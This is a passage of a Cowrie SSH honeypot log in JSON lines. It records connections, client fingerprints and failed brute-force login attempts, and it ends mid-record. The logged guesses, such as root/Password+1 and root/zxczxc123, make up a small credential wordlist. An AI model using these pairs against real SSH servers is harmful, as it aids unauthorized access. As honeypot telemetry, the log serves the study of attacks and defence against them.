{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:55:27.189251Z","src_ip":"38.93.206.2","session":"6f3fd001e81a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.50.236","src_port":33948,"dst_ip":"159.203.135.109","dst_port":22,"session":"eac8ae4157ac","protocol":"ssh","message":"New connection: 161.132.50.236:33948 (159.203.135.109:22) [session: eac8ae4157ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:56:40.486880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:56:40.491388Z","src_ip":"161.132.50.236","session":"eac8ae4157ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:56:40.580959Z","src_ip":"161.132.50.236","session":"eac8ae4157ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password+1","message":"login attempt [root/Password+1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:56:40.970617Z","src_ip":"161.132.50.236","session":"eac8ae4157ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:56:42.062001Z","src_ip":"161.132.50.236","session":"eac8ae4157ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":17204,"dst_ip":"10.17.0.5","dst_port":22,"session":"91f96c4d2aca","protocol":"ssh","message":"New connection: 141.11.88.14:17204 (10.17.0.5:22) [session: 91f96c4d2aca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:57:33.830497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:57:33.836370Z","src_ip":"141.11.88.14","session":"91f96c4d2aca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:57:33.932318Z","src_ip":"141.11.88.14","session":"91f96c4d2aca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"armin","password":"armin","message":"login attempt [armin/armin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:57:34.387842Z","src_ip":"141.11.88.14","session":"91f96c4d2aca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:57:35.529242Z","src_ip":"141.11.88.14","session":"91f96c4d2aca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":17098,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4ba7ce0c41e","protocol":"ssh","message":"New connection: 141.11.88.14:17098 (10.17.0.5:22) [session: e4ba7ce0c41e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:57:39.866027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:57:39.952282Z","src_ip":"141.11.88.14","session":"e4ba7ce0c41e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:57:39.956323Z","src_ip":"141.11.88.14","session":"e4ba7ce0c41e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa112211..","message":"login attempt [root/Aa112211..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:57:41.347576Z","src_ip":"141.11.88.14","session":"e4ba7ce0c41e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:57:42.790672Z","src_ip":"141.11.88.14","session":"e4ba7ce0c41e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":17116,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfbe4cf9714c","protocol":"ssh","message":"New connection: 141.11.88.14:17116 (10.17.0.5:22) [session: cfbe4cf9714c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:57:45.189507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:57:45.505862Z","src_ip":"141.11.88.14","session":"cfbe4cf9714c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:57:45.512917Z","src_ip":"141.11.88.14","session":"cfbe4cf9714c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":34518,"dst_ip":"10.17.0.5","dst_port":22,"session":"6789cd499c85","protocol":"ssh","message":"New connection: 14.63.196.175:34518 (10.17.0.5:22) [session: 6789cd499c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:57:48.058420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:57:48.064964Z","src_ip":"14.63.196.175","session":"6789cd499c85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:57:48.268600Z","src_ip":"14.63.196.175","session":"6789cd499c85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nfs","password":"nfs","message":"login attempt [nfs/nfs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:57:49.117229Z","src_ip":"14.63.196.175","session":"6789cd499c85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Memo1972","message":"login attempt [root/Memo1972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:57:49.415988Z","src_ip":"141.11.88.14","session":"cfbe4cf9714c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:57:50.323342Z","src_ip":"14.63.196.175","session":"6789cd499c85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":30402,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e9df8d1e937","protocol":"ssh","message":"New connection: 141.11.88.14:30402 (10.17.0.5:22) [session: 7e9df8d1e937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:57:50.454055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:57:51.337944Z","src_ip":"141.11.88.14","session":"7e9df8d1e937","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:57:51.344198Z","src_ip":"141.11.88.14","session":"7e9df8d1e937","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:57:51.394852Z","src_ip":"141.11.88.14","session":"cfbe4cf9714c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leo","password":"leo","message":"login attempt [leo/leo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:57:54.937662Z","src_ip":"141.11.88.14","session":"7e9df8d1e937","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":30420,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d65fd1c4e1b","protocol":"ssh","message":"New connection: 141.11.88.14:30420 (10.17.0.5:22) [session: 6d65fd1c4e1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:57:57.422618Z"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:57:57.815458Z","src_ip":"141.11.88.14","session":"7e9df8d1e937","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:57:58.027463Z","src_ip":"141.11.88.14","session":"6d65fd1c4e1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:57:59.357489Z","src_ip":"141.11.88.14","session":"6d65fd1c4e1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxczxc123","message":"login attempt [root/zxczxc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:01.510145Z","src_ip":"141.11.88.14","session":"6d65fd1c4e1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":34362,"dst_ip":"10.17.0.5","dst_port":22,"session":"056bf16c3b06","protocol":"ssh","message":"New connection: 141.11.88.14:34362 (10.17.0.5:22) [session: 056bf16c3b06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:02.012480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:02.189915Z","src_ip":"141.11.88.14","session":"056bf16c3b06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:02.194170Z","src_ip":"141.11.88.14","session":"056bf16c3b06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:02.694788Z","src_ip":"141.11.88.14","session":"6d65fd1c4e1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxaszxas","message":"login attempt [root/zxaszxas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:03.055011Z","src_ip":"141.11.88.14","session":"056bf16c3b06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":59752,"dst_ip":"10.17.0.5","dst_port":22,"session":"b19d29d55b0f","protocol":"ssh","message":"New connection: 41.86.34.139:59752 (10.17.0.5:22) [session: b19d29d55b0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:03.145482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:03.151843Z","src_ip":"41.86.34.139","session":"b19d29d55b0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-g